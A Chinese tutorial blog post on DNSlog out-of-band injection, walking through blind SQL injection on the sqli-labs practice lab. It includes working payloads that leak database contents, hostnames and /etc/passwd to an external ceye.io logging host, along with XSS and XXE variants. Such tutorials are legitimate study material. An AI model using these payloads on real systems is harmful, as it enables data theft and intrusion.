DNSlog注入


0x01 什么是DNSlog注入

DNSlog注入,也叫DNS帶外查詢,它是屬於帶外通信的一種(Out of Band,簡稱OOB)。

尋常的注入基本都是在同一個信道上面的,比如正常的get注入,先在url上插入payload做HTTP請求,然后得到HTTP返回包,沒有涉及其他信道。而所謂的帶外通信,至少涉及兩個信道

信道:在計算機中指通信的通道,是信號傳輸的媒介。

0x02 DNS注入原理

  1. 攻擊者先向web服務器提交payload語句,比如(select load_file(concat('\\\\','攻擊語句',.XXX.ceye.io\\abc))

  2. 其中的攻擊語句被放到數據庫中會被執行,生成的結果與后面的.XXX.ceye.io\\abc構成一個新的域名

  3. 這時load_file()就可以發起請求,那么這一條帶有數據庫查詢結果的域名就被提交到DNS服務器進行解析

  4. 此時,如果我們可以查看DNS服務器上的Dnslog就可以得到SQL注入結果。那么我們如何獲得這條DNS查詢記錄呢?注意注入語句中的ceye.io,這其實是一個開放的Dnslog平台(具體用法在官網可見),在http://ceye.io上我們可以獲取到有關ceye.io的DNS查詢信息。實際上在域名解析的過程中,是由頂級域名向下逐級解析的,我們構造的攻擊語句也是如此,當它發現域名中存在ceye.io時,它會將這條域名信息轉到相應的NS服務器上,而通過http://ceye.io我們就可以查詢到這條DNS解析記錄。

    當然還有其他可以使用的DNSlog平台,如http://www.dnslog.cn/。

    這里我就使用http://ceye.io, 它是一個免費的記錄dnslog的平台,注冊后到Profile頁面會給你一個二級域名:xxx.ceye.io,當我們把注入信息放到三級域名那里,后台的日志會記錄下來。

    image-20220410183310635

0x03 使用場景和條件

sql的布爾型盲注、時間注入的效率普遍很低且當注入的線程太大容易被waf攔截,並且像一些命令執行,xss以及sql注入攻擊有時無法看到回顯結果,這時就可以考慮DNSlog注入攻擊

一共是這四個場景:

  1. SQL盲注
  2. 命令執行(無回顯)
  3. XSS(無回顯)
  4. SSRF(無回顯)

但有個重要條件:load_file()函數可以使用。

也就是說需要配置文件my.ini中secure_file_priv=

image-20220410182005256

secure_file_priv配置說明

1、當secure_file_priv為空,就可以讀取磁盤的目錄。

2、當secure_file_priv為G:\,就可以讀取G盤的文件。

3、當secure_file_priv為null,load_file就不能加載文件。

在mysql命令行中使用show variables like '%secure%'; 可以查看secure_file_priv的情況

image-20220410212338598

值為空,說明可以使用load_file()函數

另外還有幾個注意事項:

  • dnslog注入只能用於windows平台,因為load_file這個函數的主要目的還是讀取本地的文件,所以我們在拼接的時候需要在前面加上兩個//,這兩個斜杠的目的是為了使用load_file可以查詢的unc路徑。但是Linux服務器沒有unc路徑,也就無法使用dnslog注入。

  • 在進行注入的時候,需要先使用測試代碼判斷該位置是否存在注入,然后再在后面拼接代碼,因為對照pyload進行輸入的話,可能會出現dnslog網站接收不到的情況。

  • 在域名的后面,我們需要拼接一個文件名,這是因為load_file函數只能請求文件,如果不加后面的文件名,同樣無法得到顯示。

以下內容摘自百度:

什么是UNC路徑?

UNC(Universal Naming Convention),通用命名規則

什么是UNC路徑?UNC路徑就是類似\\softer這樣的形式的網絡路徑。

UNC為網絡(主要指局域網)上資源的完整Windows 2000名稱。

格式:\\servername\sharename,其中servername是服務器名。sharename是共享資源的名稱。

目錄或文件的UNC名稱可以包括共享名稱下的目錄路徑,格式為:\servername\sharename\directory\filename。

0x04 配合sql注入

這里我以sqlilabs靶場的lesson-8為例,是sql盲注,注入后不會有回顯,那就用剛學的DNSlog來解決!!

  • 首先報庫名:

payload1:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))--+

說明:

concat 可以拼接字符
load_file()讀取文件
\\\\  有兩個\用於轉義,轉義后代表\\

image-20220410184649040

在自己的ceye.io平台上查看DNSquery,發現解析記錄,可以看到數據庫名security

image-20220410185033571

  • 再報表名

payload2:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxx.ceye.io\\abc'))--+

可以看到一個emails表

image-20220410185729538

  • 再報列名

payload3:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 0,1),'.xxx.ceye.io\\abc'))--+

payload4:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 0,1),'.xxx.ceye.io\\abc'))--+

分別看到兩個列

image-20220410190627252

  • 報數據:

因為在load_file里面不能使用@ ~等符號,所以要區分數據我們可以先用concat_ws()函數分割,再用hex()函數轉成十六進制即可

得到結果再轉回去

payload5:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select hex(concat_ws('~',id,email_id)) from emails limit 0,1),'.xxx.ceye.io\\abc'))--+

image-20220410191656744

以上就是DNSlog注入的全部流程

注入期間我發現,可以將多個payload查詢拼接在一起,比如如下注入方法:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select database()),'.',(select version()),'.xxx.ceye.io\\abc'))--+

效果如下:

image-20220410231848105

通式:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(payload1),'.',(payload2),(......),'.xxx.ceye.io\\abc'))--+

0x05 配合其他攻擊

  • xss

除了SQL注入,DNSlog注入還可以配合其他漏洞使用,比如xss

通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:

payload:><img src=http://xss.xxx.ceye.io/aaa>讓src來請求我們的dnslog的平台

  • 命令執行

說到命令執行,這里就要分windows平台和linux平台

  1. 在windows平台,利用ping命令,有如下payload
ping %COMPUTERNAME%.xxx.ceye.io
或者
ping %USERNAME%.xxx.ceye.io

執行成功,可以在dns平台上看到主機名或用戶名

  1. 在linux平台,利用curl命令,有如下payload
curl http://ip.port.xxx.ceye.io/`whoami`
curl http://ip.port.xxx.ceye.io/`cat /etc/passwd`

反引號中可以寫入各種linux命令

  • SSRF

payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.ceye.io/xxe_test">
%remote;]>
<root/>

其實也算是和XXE配合使用

以上這些payload都可以在http://ceye.io/payloads中看到

參考文章:

https://www.cnblogs.com/xhds/p/12322839.html

https://www.cnblogs.com/Xiaoming0/p/13966667.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM